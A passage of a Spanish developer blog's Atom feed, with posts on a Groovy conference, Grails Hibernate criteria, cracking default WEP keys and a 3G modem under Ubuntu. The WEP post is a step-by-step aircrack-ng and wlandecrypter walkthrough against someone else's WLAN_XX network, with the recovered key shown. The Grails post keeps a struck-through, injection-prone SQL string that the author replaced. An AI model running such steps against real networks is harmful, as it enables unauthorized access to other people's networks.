4.- &lt;b&gt;Volando con Griffon&lt;/b&gt;: Griffon es un framework que utiliza el lenguaje Groovy para escribir aplicaciones Java de escritorio basadas en Swing. La charla la dió &lt;a href="http://greach.es/ponentes/andres-almiray"&gt;Andrés Almiray&lt;/a&gt;, creador de Griffon. Tenía puestas muchas expectativas en esta charla pero al final me decepcionó un poco, según la agenda íbamos a ver cómo crear una aplicación con REST habilitado y al final sólo vimos cómo crear una aplicación con un par de cajas de texto y poco más.&lt;br /&gt;
5.- &lt;b&gt;Gana velocidad y facilita la escalabilidad: Optimiza tus webs Grails&lt;/b&gt;: &lt;a href="http://greach.es/ponentes/dani-latorre"&gt;Dani Latorre&lt;/a&gt; nos contó una serie de &lt;i&gt;tips&lt;/i&gt; generales para optimizar aplicaciones web y fue poniendo ejemplos de cómo implementarlos en Grails. Nos contó una gran variedad de plugins existentes actualmente con los que poder llevar a cabo dichas optimizaciones. La charla, sin ser magnífica, sí que me sirvió para replantearme ciertas cosas.&lt;br /&gt;
6.- &lt;b&gt;Grails and Cloud Foundry&lt;/b&gt;: Después de la parada para la comida, volvimos con &lt;a href="http://greach.es/ponentes/graeme-rocher"&gt;Graeme Rocher&lt;/a&gt;, lider del proyecto Grails, que nos contó la plataforma &lt;a href="http://www.cloudfoundry.com/"&gt;Cloud Foundry&lt;/a&gt; para el despliegue de aplicaciones "en la nube". Después de una pequeña introducción nos contó la existencia de un plugin de Grails que permite la integración y despligue de nuestras aplicaciones Grails de una manera rápida y sencilla. Vimos una demo de cómo funciona y aunque parece muy prometedor, todavía tiene bastantes limitaciones: no hay persistencia en el sistema de ficheros, no se puede acceder a la base de datos,... Graeme nos contó que están trabajando en solucionar todos estos problemas.&lt;br /&gt;
7.- &lt;b&gt;Groovy Code Generation&lt;/b&gt;: Esta sin duda fue la charla más espesa de todas. &lt;a href="http://greach.es/ponentes/hamlet-darcy"&gt;Hamlet D'Arcy&lt;/a&gt; habló de transformaciones AST en Groovy. Hubo bastantes ejemplos y la charla fue muy interesante, aunque se requieren bastantes conocimientos para poder empezar con ello.&lt;br /&gt;
8.- &lt;b&gt;Creación de plugins en Griffon&lt;/b&gt;: &lt;a href="http://greach.es/ponentes/mario-garcia"&gt;Mario García&lt;/a&gt; nos contó cómo funcionan los plugins de Griffon y nos hizo una demo sobre cómo crear uno para acceder a una instancia Solr.&lt;br /&gt;
9.- &lt;b&gt;Engrandeciendo Grails con MongoDB&lt;/b&gt;: Esta fue una de las charlas que más me gustó. &lt;a href="http://greach.es/ponentes/enrique-medina"&gt;Enrique Medina&lt;/a&gt; nos habló sobre su experiencia en la integración de MondoDB con Grails, problemas que ha tenido, formas de resolver los distintos tipos de relaciones 1:1, 1:N y N:M. Me gustó mucho la charla y me abrió un poco los ojos respecto a una base de datos NoSQL. Es posible que en un futuro no muy lejano le dé una oportunidad a MongoDB en algún proyecto.&lt;br /&gt;
&lt;br /&gt;
Y después de todas estas charlas llegó la parte final, se sorteó un curso de HTML5 y CSS3, una licencia de WebStorm y otra de Intelli J y finalmente libros de Grails in Action y Griffon in Action. A mi me tocó uno de Grails in Action :-).&lt;br /&gt;
Respecto a la organización, me pareció muy buena. Quiero dar las gracias a Alberto Vilches, padre del evento y a todos los colaboradores porque todo salió muy bien. Por ejemplo, el tema de la comida fue mucho mejor que en el pasado Spring IO en donde sólo tuvimos un sandwich frío. Esta vez pudimos comer en el comedor de la universidad.&lt;br /&gt;
Como punto negativo, al igual que en el Spring IO, la wifi se caía de vez en cuando, aunque esto es algo ajeno a los organizadores ya que es totalmente dependiente de la universidad.&lt;br /&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=-YLl8-SyWg4:M5esli9gp84:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=-YLl8-SyWg4:M5esli9gp84:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=-YLl8-SyWg4:M5esli9gp84:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=-YLl8-SyWg4:M5esli9gp84:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/-YLl8-SyWg4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/819709122717135405/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2011/11/cronica-de-greach-conferencia-de-groovy.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/819709122717135405?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/819709122717135405?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/-YLl8-SyWg4/cronica-de-greach-conferencia-de-groovy.html" title="Crónica de Greach: Conferencia de Groovy" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2011/11/cronica-de-greach-conferencia-de-groovy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYCSHg-fip7ImA9WhRWGUo.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-9031893081747311676</id><published>2011-10-28T23:45:00.002+02:00</published><updated>2012-01-07T23:42:49.656+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-07T23:42:49.656+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hibernate" /><category scheme="http://www.blogger.com/atom/ns#" term="Grails" /><title>Creando Hibernate Criteria en Grails</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;La situación es la siguiente: Tenemos una aplicación &lt;a href="http://grails.org/"&gt;grails&lt;/a&gt; en la que tenemos que buscar por nombre de usuario. La primera aproximación sería utilizar &lt;i&gt;ilike&lt;/i&gt; para buscar en los campos nombre y apellidos y todo funcionaría perfectamente hasta que llegamos a los nombres con tildes. ¿Qué ocurre si el usuario está dado de alta como &lt;i&gt;Iván&lt;/i&gt; y nosotros introducimos &lt;i&gt;Ivan&lt;/i&gt;, pues que sencillamente no aparecerá.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;Hay varias formas de afrontar el problema incluyendo el &lt;i&gt;full text search&lt;/i&gt; con plugins como &lt;a href="http://grails.org/plugin/searchable"&gt;searchable&lt;/a&gt; o &lt;a href="http://grails.org/plugin/elasticsearch"&gt;elasticsearch&lt;/a&gt;, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función &lt;b&gt;unaccent&lt;/b&gt; que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:&lt;br /&gt;
&lt;pre&gt;select * from user
where unaccent("name") ilike unaccent('%iván%')
&lt;/pre&gt;Y devolvería cualquier usuario que se llamase: ivan, Iván, iván, IVÁN,...&amp;nbsp;&amp;nbsp;&amp;nbsp;Todo esto está muy bien, pero que ocurre si ya tenemos el siguiente criteria de grails:&lt;br /&gt;
&lt;pre&gt;def users = User.createCriteria().list() {
    ilike('name', '%' + value + '%')
}
&lt;/pre&gt;¿Cómo añadimos esa llamada a la función unaccent?. Vamos a crear nuestro propio Hibernate Criteria.&lt;br /&gt;
Editamos el archivo &lt;i&gt;BootStrap.groovy&lt;/i&gt; y añadimos lo siguiente:&lt;br /&gt;
&lt;pre&gt;HibernateCriteriaBuilder.metaClass.unaccent = { String propertyName, Object propertyValue -&gt;

 if (!validateSimpleExpression()) {
  throwRuntimeException(new IllegalArgumentException("Call to [unaccent] with propertyName [" +
    propertyName + "] and other property name [" + otherPropertyName + "] not allowed here."));
 }

 propertyName = calculatePropertyName(propertyName);
 propertyValue = calculatePropertyValue(propertyValue);

&lt;strike&gt; def query = "unaccent(\"${propertyName}\") ilike unaccent('%${propertyValue}%')"
 return addToCriteria(Restrictions.sqlRestriction(query));&lt;/strike&gt;

 def query = "unaccent(\"${propertyName}\") ilike unaccent(?)"
 def value = "%${propertyValue}%"
 return addToCriteria(Restrictions.sqlRestriction(query.toString(), value.toString(), Hibernate.STRING));
}
&lt;/pre&gt;[ACTUALIZACIÓN]: He cambiado la forma de generar la consulta para que evitar posibles ataques por inyección de sql.&lt;br /&gt;
&lt;br /&gt;
Lo que estamos haciendo es inyectar al &lt;i&gt;HibernateCriteriaBuilder&lt;/i&gt; un método llamado &lt;i&gt;unaccent&lt;/i&gt; que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar. &lt;br /&gt;
Con esto podemos reescribir la consulta anterior de la siguiente manera:&lt;br /&gt;
&lt;pre&gt;def users = User.createCriteria().list() {
    // Old method
    //ilike('name', '%' + name + '%')
    unaccent('name', value)
}
&lt;/pre&gt;Si ejecutamos el criteria vemos que la consulta es la siguiente: &lt;br /&gt;
&lt;pre&gt;select
        this_.id as id19_0_,
        this_.name as name19_0_
     from
        user this_
     where
        unaccent("name") ilike unaccent('%iván%')
&lt;/pre&gt;Que efectivamente devuelve los mismos registros de antes :-) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos &lt;i&gt;afterSave()&lt;/i&gt; y &lt;i&gt;afterUpdate()&lt;/i&gt; de la clase de dominio User,... en fin, unas cuantas alternativas.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=gIIliAYmbrs:NtmhomBPr6o:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=gIIliAYmbrs:NtmhomBPr6o:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=gIIliAYmbrs:NtmhomBPr6o:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=gIIliAYmbrs:NtmhomBPr6o:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/gIIliAYmbrs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/9031893081747311676/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2011/10/creando-hibernate-criteria-en-grails.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/9031893081747311676?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/9031893081747311676?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/gIIliAYmbrs/creando-hibernate-criteria-en-grails.html" title="Creando Hibernate Criteria en Grails" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2011/10/creando-hibernate-criteria-en-grails.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8CR349fip7ImA9Wx9VFk0.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-4768395884846995237</id><published>2011-02-01T23:54:00.001+01:00</published><updated>2011-02-01T23:54:26.066+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-01T23:54:26.066+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hack" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><title>Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el &lt;a href="http://lopezivan.blogspot.com/2010/08/conexion-3g-con-ubuntu.html"&gt;modem 3G USB&lt;/a&gt; para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.&lt;br /&gt;&lt;li&gt;El primer paso es instalar desde los repositorios &lt;i&gt;aircrack-ng&lt;/i&gt;. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,... &lt;br /&gt;&lt;pre&gt;ivan@suneo:~$ sudo apt-get install aircrack-ng&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.&lt;br /&gt;&lt;pre&gt;ivan@suneo:~$ sudo airmon-ng start wlan0&lt;br /&gt;&lt;br /&gt;Interface Chipset  Driver&lt;br /&gt;&lt;br /&gt;wlan0  Intel 3945ABG iwl3945 - [phy0]&lt;br /&gt;    &lt;b&gt;(monitor mode enabled on mon0)&lt;/b&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;La tarjeta wifi ya está en modo monitor, en este caso en el interfaz &lt;i&gt;mon0&lt;/i&gt;. Éste será el que utilizaremos para capturar el tráfico.&lt;br /&gt;&lt;pre&gt;ivan@suneo:~$ sudo airodump-ng -w packets mon0&lt;br /&gt;&lt;br /&gt; CH  1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35                                         &lt;br /&gt;                                                                                                                &lt;br /&gt; BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 &lt;br /&gt;                                                                                                                &lt;br /&gt; &lt;b&gt;00:01:38:DF:ED:AE  -68     3193        6    0   6  54 . WEP  WEP         WLAN_B8&lt;/b&gt;&lt;br /&gt; 00:1A:4D:22:45:81  -84      486      213    0   7  54e. OPN              tcc-hotspot-escuera                   &lt;br /&gt; 00:1F:3F:A3:C7:39  -90       52        0    0   6  54   WEP  WEP         Harry Mehlitz                         &lt;br /&gt; 00:1A:2B:5C:57:76  -87      288        4    0  11  54   WEP  WEP         JAZZTEL_47                            &lt;br /&gt; 00:1A:2B:01:AC:A0  -83      829        0    0   3  54   WEP  WEP         WLAN_E9                               &lt;br /&gt; 00:0C:F6:82:44:50  -84      507        3    0  11  54e. WPA  TKIP   PSK  Sitecom824450                         &lt;br /&gt;                                                                                                                &lt;br /&gt; BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                      &lt;br /&gt;                                                                                                                &lt;br /&gt; (not associated)   00:13:CE:6A:1B:14  -89    0 - 1      0      138  MI_CASA,WLAN_4B,1234567891234567891234567891&lt;br /&gt; (not associated)   00:1A:EF:05:17:2D  -89    0 - 1      0        5  WLAN_4D                                     &lt;br /&gt; 00:01:38:DF:ED:AE  00:1F:3C:E1:95:C5    0    6 - 1      0      876  WLAN_B8                                     &lt;br /&gt; 00:1A:2B:5C:57:76  00:22:43:65:1E:C6  -84    0 - 1      0        5  JAZZTEL_47                                  &lt;br /&gt; 00:1A:2B:5C:57:76  00:16:EA:35:DD:D4  -85    0 - 1      0        3                                              &lt;/pre&gt;&lt;/li&gt;&lt;li&gt;He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo &lt;i&gt;packets&lt;/i&gt;. La columna importante es &lt;b&gt;#Data&lt;/b&gt;: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.&lt;/li&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave. &lt;br /&gt;En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos &lt;a href="http://www.wifiway.org/archivos/wlandecrypter-1.3.1.tar.gz"&gt;wlandecrypter&lt;/a&gt;. Lo descargamos, descomprimimos y con un simple &lt;i&gt;make&lt;/i&gt; compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.&lt;br /&gt;&lt;pre&gt;ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt&lt;br /&gt;&lt;br /&gt;wlandecrypter v1.3.1 (2010/04/21)&lt;br /&gt;&lt;br /&gt; [+] BSSID: 00:01:38:XX:XX:XX&lt;br /&gt; [+] Modelo: Xavi 7768r&lt;br /&gt; [+] Generando fichero de claves: dic_WLANB8.txt.kk&lt;br /&gt; [+] Fichero guardado OK&lt;br /&gt; [+] &lt;b&gt;Generadas 65536 claves&lt;/b&gt; (896 KB)&lt;br /&gt; [+] Proceso finalizado con exito&lt;/pre&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos &lt;i&gt;aircrack-ng&lt;/i&gt; pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.&lt;br /&gt;&lt;pre&gt;ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap&lt;br /&gt;&lt;br /&gt;Opening packets-01.cap&lt;br /&gt;Reading packets, please wait...&lt;br /&gt;&lt;br /&gt;                                                Aircrack-ng 1.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                [00:00:00] Tested 3873 keys (got 6 IVs)&lt;br /&gt;&lt;br /&gt;   KB    depth   byte(vote)&lt;br /&gt;    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) &lt;br /&gt;&lt;br /&gt;     &lt;b&gt;KEY FOUND!&lt;/b&gt; [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: &lt;span style="color:rgb(255,0,0);"&gt;X000138DF20B8&lt;/span&gt; )&lt;br /&gt; Decrypted correctly: 100%&lt;/pre&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=MdzsagwstBU:wO8489DnII8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=MdzsagwstBU:wO8489DnII8:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=MdzsagwstBU:wO8489DnII8:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=MdzsagwstBU:wO8489DnII8:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/MdzsagwstBU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/4768395884846995237/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2011/02/conectandonos-redes-wlanxx-de.html#comment-form" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/4768395884846995237?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/4768395884846995237?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/MdzsagwstBU/conectandonos-redes-wlanxx-de.html" title="Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>3</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2011/02/conectandonos-redes-wlanxx-de.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQASXY4eip7ImA9Wx5SFUs.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-6559419037017656819</id><published>2010-08-11T23:32:00.001+02:00</published><updated>2010-08-11T23:32:28.832+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-11T23:32:28.832+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="3G" /><title>Conexión 3G con Ubuntu</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G &lt;u&gt;libre&lt;/u&gt;, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:&lt;br /&gt;&lt;pre&gt;ivan@suneo:~$ tail /var/log/messages&lt;br /&gt;Aug 11 22:43:56 suneo kernel: [  447.944954] option 2-2:1.0: GSM modem (1-port) converter detected&lt;br /&gt;Aug 11 